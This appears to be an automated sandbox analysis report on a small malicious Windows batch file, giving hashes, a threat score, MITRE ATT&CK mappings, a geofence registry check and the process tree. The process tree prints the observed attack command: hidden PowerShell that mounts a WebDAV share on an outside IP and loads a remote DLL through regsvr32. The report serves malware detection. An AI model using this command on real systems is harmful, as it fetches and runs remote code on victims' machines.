dc91472f0cc246e4c71199771bdfc4d2f42404eefb548b47cbd39860c08c0a4e

Analysis

max time kernel
148s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 07:25

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General

Target

2620096522164526667.bat
Size

2KB
MD5

bbdf8f74dfb8d5b9b49604e69b813a8f
SHA1

e8b79f1d18477e3c09a512dd301985af5977111d
SHA256

742d4079e09142ec8852d0c61899cbea762d66dcc208d4b9a90b18434213a785
SHA512

5e5a50f24a9e041ad1df31f254ce4496e6adbf65328ca53f39eb1eebefccfa24d1e947d095e215422fa1fe4b296152632db8d5c7f4493b89ec3f2f9d88880b1e

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3140	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3140	powershell.exe
3140	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3140	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3628	wordpad.exe
3628	wordpad.exe
3628	wordpad.exe
3628	wordpad.exe
3628	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 3628	3064	cmd.exe	85
PID 3064 wrote to memory of 3628	3064	cmd.exe	85
PID 3064 wrote to memory of 3140	3064	cmd.exe	87
PID 3064 wrote to memory of 3140	3064	cmd.exe	87
PID 3140 wrote to memory of 2036	3140	powershell.exe	89
PID 3140 wrote to memory of 2036	3140	powershell.exe	89
PID 3140 wrote to memory of 2228	3140	powershell.exe	90
PID 3140 wrote to memory of 2228	3140	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2620096522164526667.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\268861998429886.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2036
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\268861998429886.dll
    3⤵
    PID:2228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a4f1533z.qhp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3140-1-0x0000021F86430000-0x0000021F86452000-memory.dmp

Filesize
136KB

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